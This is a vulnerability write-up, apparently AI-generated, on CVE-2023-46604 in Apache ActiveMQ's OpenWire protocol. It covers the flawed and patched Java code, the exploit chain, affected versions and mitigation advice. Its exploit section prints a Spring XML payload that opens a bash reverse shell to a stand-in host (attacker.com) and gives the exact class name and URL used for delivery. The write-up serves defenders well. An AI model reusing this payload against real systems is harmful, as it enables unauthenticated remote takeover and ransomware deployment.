CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2023-46604
10.094.44%

ActiveMQ's OpenWire: When Exception Handling Becomes Remote Code Execution

Alon Barad
Alon Barad
Software Engineer

Feb 26, 2026·6 min read·5 visits

Active ExploitationCISA KEV ListedRansomware Use

Executive Summary (TL;DR)

Unauthenticated Remote Code Execution (RCE) in Apache ActiveMQ versions < 5.18.3 via the OpenWire protocol (port 61616). Attackers send a crafted packet specifying a Spring framework class instead of an exception, triggering the download and execution of a malicious XML configuration file. Patch immediately.

Apache ActiveMQ, the ubiquitous message broker found in the plumbing of countless enterprise architectures, contains a critical deserialization vulnerability in its OpenWire protocol implementation. By manipulating the serialized class types used during exception handling, an unauthenticated, remote attacker can force the broker (or client) to instantiate arbitrary classes from the classpath. This flaw, assigned a maximum CVSS score of 10.0, has been weaponized by ransomware groups like HelloKitty to achieve full system compromise.

The Hook: Plumbing with a Glass Jaw

ActiveMQ is the unsung hero—or perhaps the silent victim—of enterprise infrastructure. It’s the message broker that ensures your billing service talks to your shipping service. It sits quietly in the background, shuffling data packets via the OpenWire protocol, usually on TCP port 61616. Because it's "infrastructure," it often gets ignored during patch cycles. That is a mistake.

This vulnerability (CVE-2023-46604) is a classic example of why "internal" protocols shouldn't be trusted blindly. The OpenWire protocol allows the exchange of complex objects, including exceptions. When a broker throws a tantrum, it needs to tell the client what went wrong. It does this by marshalling a Throwable object across the wire.

Here is the kicker: The code responsible for reading that exception off the wire didn't actually check if the thing it was building was an exception. It was just a generic object factory waiting for a command. And as any security researcher knows, if you give us an object factory and a classpath full of juicy libraries, we aren't going to build NullPointerExceptions. We're going to build shells.

The Flaw: A Case of Mistaken Identity

The vulnerability lies deep within the BaseDataStreamMarshaller class. This class is responsible for serializing and deserializing data types for the OpenWire protocol. Specifically, the method createThrowable was designed to reconstruct an exception object sent by a peer.

The logic was pitifully simple:

  1. Read a String called className from the wire.
  2. Read a String called message from the wire.
  3. Call Class.forName(className) to find the class.
  4. Find a constructor that accepts a single String.
  5. Instantiate the class with the message.

Do you see the validation step? Neither do I. There wasn't one. The code blindly assumed that the className provided would be a subclass of java.lang.Throwable.

This is a textbook deserialization gadget vector. The application is effectively saying, "Tell me what class to run, and I'll run it with your input string." In a Java environment, where the classpath is often cluttered with frameworks like Spring, this is equivalent to handing the attacker a loaded gun.

The Code: The Smoking Gun

Let's look at the vulnerable code in BaseDataStreamMarshaller. It's almost elegant in its insecurity.

Vulnerable Implementation:

private Throwable createThrowable(String className, String message) {
    try {
        // Step 1: Load whatever class the attacker asks for
        Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
        
        // Step 2: Find a string constructor
        Constructor constructor = clazz.getConstructor(new Class[] {String.class});
        
        // Step 3: BOOM. Execution.
        return (Throwable)constructor.newInstance(new Object[] {message});
    } catch (Throwable e) {
        return e;
    }
}

The fix, introduced in versions like 5.18.3, is a slap on the wrist for the marshaller. The developers added a validation utility OpenWireUtil.validateIsThrowable(clazz).

Patched Implementation:

private Throwable createThrowable(String className, String message) {
    try {
        Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
        
        // The Bouncer: Checks if the class is actually a Throwable
        OpenWireUtil.validateIsThrowable(clazz); 
        
        Constructor constructor = clazz.getConstructor(new Class[] {String.class});
        return (Throwable)constructor.newInstance(new Object[] {message});
    } catch (Throwable e) {
        return e;
    }
}

The validateIsThrowable method essentially runs Throwable.class.isAssignableFrom(clazz). If you try to instantiate a Spring context, the check fails, and the exploit chain dies. It is a simple check, but its absence caused millions of dollars in ransomware damages.

The Exploit: Springing the Trap

So, we can instantiate any class with a String constructor. How do we turn that into RCE? Enter the ClassPathXmlApplicationContext from the Spring Framework, which ships with ActiveMQ.

This class has a constructor that takes a String: the URL of an XML configuration file. When instantiated, it automatically fetches that XML file and parses it to configure the application context. If that XML file defines a bean that executes a command, the game is over.

The Attack Chain:

  1. Setup: Attacker hosts a file named poc.xml on a controlled HTTP server.

  2. Payload: The XML contains a bean definition using ProcessBuilder:

    <beans>
      <bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value>bash -i >& /dev/tcp/attacker.com/4444 0>&1</value>
          </list>
        </constructor-arg>
      </bean>
    </beans>
  3. Delivery: The attacker connects to port 61616 and sends a crafted OpenWire ExceptionResponse.

    • ClassName: org.springframework.context.support.ClassPathXmlApplicationContext
    • Message: http://attacker.com/poc.xml
  4. Execution: ActiveMQ receives the packet, passes the URL to the Spring class constructor, which fetches the XML, hydrates the bean, and spawns the reverse shell. The best part? This happens before authentication is enforced for the session in many configurations.

The Impact: Ransomware's New Best Friend

This isn't a theoretical "maybe someday" vulnerability. It is actively burning down networks. Because ActiveMQ often runs with high privileges (sometimes root, often a dedicated user with write access to critical directories), the RCE is devastating.

The HelloKitty ransomware group (and subsequently TellYouThePass) immediately weaponized this. They didn't just pop shells; they used msiexec to pull down ransomware binaries and encrypt entire clusters.

Imagine this scenario: You have an internal message broker. You think it's safe because it's behind the firewall. But one developer exposed port 61616 for debugging, or an attacker pivoted from a compromised web server. Within seconds, the broker itself becomes the distribution point for malware, encrypting the very database it was supposed to serve. With a CVSS of 10.0, this is as bad as it gets.

The Fix: Closing the Window

If you are running ActiveMQ, stop reading and check your version. If you are on anything older than 5.15.16, 5.16.7, 5.17.6, or 5.18.3, you are vulnerable.

Immediate Steps:

  1. Patch: Update to the fixed versions immediately. The patch is simple but effective.
  2. Network Segmentation: Why is port 61616 talking to the internet? Block it. Only allow trusted internal IPs to communicate with the message broker.
  3. Validate Configuration: Ensure the ClassPathXmlApplicationContext cannot reach external networks if possible, though this is harder to enforce at the JVM level.

For those who can't patch today: You might be able to mitigate this by stripping the spring-context JARs from the ActiveMQ classpath if you aren't using them, but that is a risky surgery that might break legitimate functionality. Just patch the software.

Official Patches

ApacheOfficial Security Advisory
ApachePull Request containing the fix

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
EPSS Probability
94.44%
Top 0% most exploited

Affected Systems

Apache ActiveMQ ClassicApache ActiveMQ Legacy OpenWire ModuleNetApp E-Series SANtricityRed Hat AMQ

Affected Versions Detail

Product
Affected Versions
Fixed Version
Apache ActiveMQ
Apache
< 5.15.165.15.16
Apache ActiveMQ
Apache
5.16.0 - 5.16.65.16.7
Apache ActiveMQ
Apache
5.17.0 - 5.17.55.17.6
Apache ActiveMQ
Apache
5.18.0 - 5.18.25.18.3
AttributeDetail
CWE IDCWE-502
Attack VectorNetwork (OpenWire TCP)
CVSS10.0 (Critical)
EPSS Score94.44%
Exploit StatusActive / Weaponized
KEV ListedYes

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-502
Deserialization of Untrusted Data

Known Exploits & Detection

MetasploitMetasploit module for ActiveMQ OpenWire RCE
GitHubGo-based proof of concept exploit tool

Vulnerability Timeline

Fix commits pushed to ActiveMQ repository
2023-10-23
Apache discloses AMQ-9370
2023-10-25
CVE-2023-46604 Published
2023-10-27
HelloKitty ransomware observed exploiting the flaw
2023-11-01
Added to CISA KEV Catalog
2023-11-02

References & Sources

  • [1]Rapid7 Analysis of Active Exploitation
  • [2]NVD Detail

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.